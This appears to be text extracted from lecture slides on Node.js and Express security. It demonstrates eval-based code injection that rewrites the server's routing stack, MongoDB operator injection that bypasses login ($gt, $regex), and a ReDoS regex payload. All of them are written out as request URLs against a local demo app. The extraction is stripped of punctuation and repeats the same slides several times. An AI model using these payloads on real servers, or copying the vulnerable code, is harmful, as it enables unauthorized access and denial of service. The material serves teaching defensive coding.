ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
